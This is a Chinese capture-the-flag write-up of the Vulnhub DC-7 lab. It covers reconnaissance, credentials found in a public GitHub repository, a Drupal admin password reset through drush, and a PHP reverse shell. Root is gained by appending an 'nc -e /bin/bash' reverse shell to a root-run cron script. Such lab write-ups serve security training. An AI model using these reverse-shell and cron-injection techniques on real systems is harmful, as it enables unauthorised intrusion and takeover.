Vulnhub靶场案例渗透[7]- DC7

news2024/11/25 15:48:30

文章目录

  • 1. 靶场搭建
  • 2. 信息收集
    • 2.1 确定靶机ip
    • 2.2 服务信息收集
    • 2.3 社工信息收集
  • 3. 提权

1. 靶场搭建

靶场源地址

检验下载文件的检验码,对比没问题使用vmware打开


# windwos 命令
Get-FileHash <filePath> -Algorithm MD5
# linux
md5sum filepath

2. 信息收集

2.1 确定靶机ip

安装之后直接显示了靶机的ip。

2860b45c-86b8-44ac-b6ad-e7f60e035ce4.jpeg

2.2 服务信息收集

通过nmap探测靶机开放端口和端口对应服务

nmap -Ap 1-65535  192.168.6.102

4919a52f-fc39-46d0-9585-0214c424b849.jpeg

确定开放端口:

  • 22:ssh服务
  • 80: http服务,并且由apache服务器启动

2.3 社工信息收集

访问网站发现,并且根据靶场提示信息暴力登录肯定不行,在查看到DC7USER,尝试在github进行搜索用户查询,找到代码的源代码仓库。

e46851bb-1862-418d-8115-70464c908602.jpeg

在代码仓库中发现config.php里面记录了账号密码信息。尝试页面登录失败,尝试ssh登录成功。

04af32cd-f775-44fe-a639-b12d1bd3e45f.jpeg

c52a2668-f2cc-477b-b5e4-d94f32c378b6.jpeg

3. 提权

常见提权方法可参考我之前的文章常见提升权限方法

尝试SUID进行提权, 发现没有可利用的提权的文件

# 查找设置suid标志的文件
find / -perm --4000 -type f

尝试使用sudo进行提权,发现没有sudo这个命令,提权失败。

发现账号经常受到mail提醒,查看mail信息,发现有个定时任务定时执行一个脚本,并且执行身份设置为root,可以利用这个脚本进行提权。
13731e0e-2ee7-4bf2-a3bc-7573dad530ea.jpeg

查看对应脚本的权限信息,发现当前用户没有权限进行修改,需要用户组为www-data的用户才能进行修改,接下来得获取到www-data用户的shell才能进行提权。
b67ff847-b903-4c2f-9234-8d381882fc28.jpeg

发现web页面对应apache启动用户就是www-data.所以又转到web页面去了。

# 查询与某个用户相关的进程
ps -fu www-data

查看那个脚本内容,发现一个drush可以控制drupal框架,查看drush的文档发现可以直接更改用户的密码文档地址


```bash
# 脚本内容
#!/bin/bash
rm /home/dc7user/backups/*
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz

更改之后在wen页面登录成功。

# 更改admin的密码
drush user-password admin --password=admin

d9739ab2-27d9-47a1-97db-fa9d9c6c7086.jpeg

进入后台管理,发现在新建内容可以新建Basic page,大概就是全局页面都会引入这个内容,但是新建内容的时候发现不能写php文件,百度搜索发现添加插件可以解决,然后在拓展处添加php相关插件。插件地址:https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

image.png

在这个页面启用php拓展

46fc145d-a35a-4f0f-8db4-84c96d9a0c4d.jpeg

新建basic-content添加如下内容,点击发布,成功获取到反弹sehll

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.6.106/8888 0>&1'");
?>
# kali执行
nc -lvp 8888

1916a37c-58af-4ab5-a4b6-51b088611e42.jpeg

# 创建一个伪终端,提高命令窗口交互
python -c 'import pty; pty.spawn("/bin/bash")'

拿到shell之后,修改backups.sh的内容,利用定时任务执行反弹sehll获取root权限。根据dc7user的邮件记录,应该是15分钟执行一次。

echo 'nc -e /bin/bash 192.168.6.106 7777' >> /opt/scripts/backups.sh

成功获取到root的shell,在root的家目录下成功获取到目标flag。
d13cc6f2-993e-4407-877e-6f6f83980ea8.jpeg
60082d17-17e1-4cad-bba9-a19380a17a08.jpeg

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2208678.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

视频汇聚平台EasyCVR支持云端录像丨监控存储丨录像回看丨录像计划丨录像配置

EasyCVR视频汇聚融合平台&#xff0c;是TSINGSEE青犀视频垂直深耕音视频流媒体技术、AI智能技术领域的杰出成果。平台以其强大的视频处理、汇聚与融合能力&#xff0c;在构建视频监控系统中展现出了独特的优势。 EasyCVR视频汇聚平台可接入传统监控行业中高清网络摄像机的RTSP…

提升实验室效率的秘籍

有组织、高效的实验室而言&#xff0c;业务“人、机、料、法、环、测”的多维度发展至关重要&#xff0c;为了提高实验室管理效率和质量&#xff0c;许多实验室开始采用LIMS&#xff08;实验室信息管理系统&#xff09;软件来辅助管理。LIMS软件能够帮助实验室实现信息化、自动…

leetcode 3217 从链表中移除在数组中的结点

1.题目要求: 给你一个整数数组 nums 和一个链表的头节点 head。从链表中移除所有存在于 nums 中的节点后&#xff0c;返回修改后的链表的头节点。 示例 1&#xff1a; 输入&#xff1a; nums [1,2,3], head [1,2,3,4,5] 输出&#xff1a; [4,5] 解释&#xff1a; 移除数值…

Java中的枚举

1.1 认识枚举 枚举是一种特殊的类&#xff0c;它的格式是&#xff1a; public enum 枚举类名{枚举项1,枚举项2,枚举项3; } 其实枚举项就表示枚举类的对象&#xff0c;只是这些对象在定义枚举类时就预先写好了&#xff0c;以后就只能用这几个固定的对象。 定义一个枚举类&am…

使用VS2015编写C语言程序

前面我们给出了一段完整的C语言代码&#xff0c;就是在显示器上输出“C语言中文网”&#xff0c;如下所示&#xff1a; #include <stdio.h>int main(){puts("C语言中文网");return 0;}本节我们就来看看如何通过 VS2015 来运行这段代码。 1) 创建项目&#xf…

QD1-P8 HTML 格式化标签(font、pre、b、strong、i、u、del、s、sub、sup)

本节学习&#xff1a;HTML 格式化标签。 本节视频 www.bilibili.com/video/BV1n64y1U7oj?p8 ‍ 一、font 标签 用途&#xff1a;定义文本的字体大小、颜色和 face&#xff08;字体类型&#xff09;。 示例 <!DOCTYPE html> <html><head><meta cha…

Tkinter:为什么多个Frame相互覆盖?

在 Tkinter 中&#xff0c;Frame 是一个容器部件&#xff0c;用于组织和管理布局。如果多个 Frame 出现在同一个父容器中并且看起来相互覆盖&#xff0c;通常与布局管理器的使用方式或控件的创建顺序有关。 以下是几个常见的原因和解决方案&#xff0c;帮助你了解为什么多个 F…

生产报工信息化全流程大讲解

在企业的生产管理中&#xff0c;生产报工是一个关键环节&#xff0c;但传统的生产报工方式存在诸多痛点&#xff0c;制约了企业的发展。随着数字化技术的发展&#xff0c;多个平台为企业提供了有效的解决方案。基于生产报工信息化方案报告》白皮书&#xff0c;本文深入探讨生产…

三菱FX3U PLC绝对定位- DRVA指令

指令格式 相关软元件一览 功能和动作 这是采用绝对驱动的单速定位指令。采用从原点(0点)开始的距离指定方式&#xff0c; 也被称为绝对驱动方式。 1、在指令执行过程中&#xff0c;即使改变操作数的内容&#xff0c;也不反映到当前的运行中。 在下次的指令驱动时才有效…

客户服务的未来趋势:智能化与人性化的融合

在当今这个日新月异的数字时代&#xff0c;企业的竞争已不再局限于产品或服务的本身&#xff0c;而是延伸到了客户体验的每一个细微之处。数字化转型作为推动这一变革的重要力量&#xff0c;正深刻改变着客户服务的面貌&#xff0c;使之变得更加智能、便捷且充满人性化。随着人…

最长回文子串-双下标动态规划

题目来源&#xff1a;Leetcode 5.最长回文子串 DP定义&#xff1a; 容易想到&#xff0c;用一个二维数字dp[i][j]来表示s[i:j]是否是回文串&#xff0c;如s“daba”。dp[1][3]1表示"aba"为回文串&#xff1b; 递归条件 想要判断字符串"aba"是否为回文…

MySQL--事务(详解)

目录 一、前言二、本文章目标三、什么是事务&#xff1f;四、事务的ACID特性五、为什么要使用事务六、如何使用事务6.1 查看支持使用事务的引擎6.2语法6.3 开启⼀个事务&#xff0c;执行更新后回滚6.4 开启一个事务更新后提交6.5 保存点6.6 自动/手动提交事务 七、事务的隔离性…

X86、ARM架构镜像

1. 简介 ARM 镜像和 x86 镜像是为不同处理器架构设计的软件镜像。ARM&#xff08;Advanced RISC Machine&#xff09;架构和 x86 架构是两种主流的处理器指令集架构&#xff0c;它们在设计和性能特点上有所不同。以下是 ARM 镜像和 x86 镜像的一些主要区别&#xff1a; 处理器架…

LangGraph入门(一)为什么要用LangGraph

阅读langgraph文档后编写&#xff0c;原文链接 https://langchain-ai.github.io/langgraph/concepts/high_level/ agent介绍 大语音模型LLMs是非常强大的&#xff0c;特别是LLMs与外部API或者检索数据库结合时&#xff0c;将使得的大模型如虎添翼。所以&#xff0c;在调用LLM之…

xss-labs靶场第六关测试报告

目录 一、测试环境 1、系统环境 2、使用工具/软件 二、测试目的 三、操作过程 1、注入点寻找 2、使用hackbar进行payload测试 3、绕过结果 四、源代码分析 五、结论 一、测试环境 1、系统环境 渗透机&#xff1a;本机(127.0.0.1) 靶 机&#xff1a;本机(127.0.0.…

使用通义千问模拟ChatGPT-o1进行思考,并以类似于ChatGPT-o1的形式输出

prompt 你是ChatGPT O1&#xff0c;旨在通过第一性原理思维和基于证据的推理来解决用户问题。你的目标是提供清晰、循序渐进的解决方案、基础概念&#xff0c;并从头开始构建答案。 ### 指导原则&#xff1a; 以下是为大模型采用这种方法而设计的系统提示&#xff1a; 1. 理解…

LeetCode | 69.x的平方根

这道题很适合用二分来解决&#xff0c;算是二门入门的一个练手题吧思想就是首先设置两个指针&#xff0c;一个是0&#xff0c;一个是x&#xff0c;相当于在数轴上划定一个区域 [ 0 , x ]然后计算数轴中间值和我们想要找的值的大小关系&#xff0c;因为数轴是有序的&#xff0c;…

汉诺塔问题递归与非递归实现

汉诺塔问题描述 问题&#xff1a;有三根柱子&#xff08;A、B、C&#xff09;和若干个不同大小的盘子&#xff0c;最初所有盘子都在柱子 A 上&#xff0c;按大小顺序从上到下排列。目标是将所有盘子移动到柱子 C 上&#xff0c;遵循以下规则&#xff1a; 每次只能移动一个盘子…

Leetcode 在排序数组中查找元素的第一个和最后一个位置

这段代码的目的是在一个有序的数组中查找目标元素的第一个和最后一个位置。如果目标元素不存在&#xff0c;返回 [-1, -1]。算法要求时间复杂度为 O(log n)&#xff0c;所以使用了二分查找的思想。 主要思路&#xff1a; 使用两次二分查找&#xff1a; 第一次二分查找用于找到…

《OpenCV计算机视觉》—— 人脸识别

识别图片如下&#xff1a; 完整代码&#xff1a; import cv2image cv2.imread(face.png) gray cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) """ 加载分类器 """ faceCascade cv2.CascadeClassifier(haarcascade_frontalface_default.xml) &…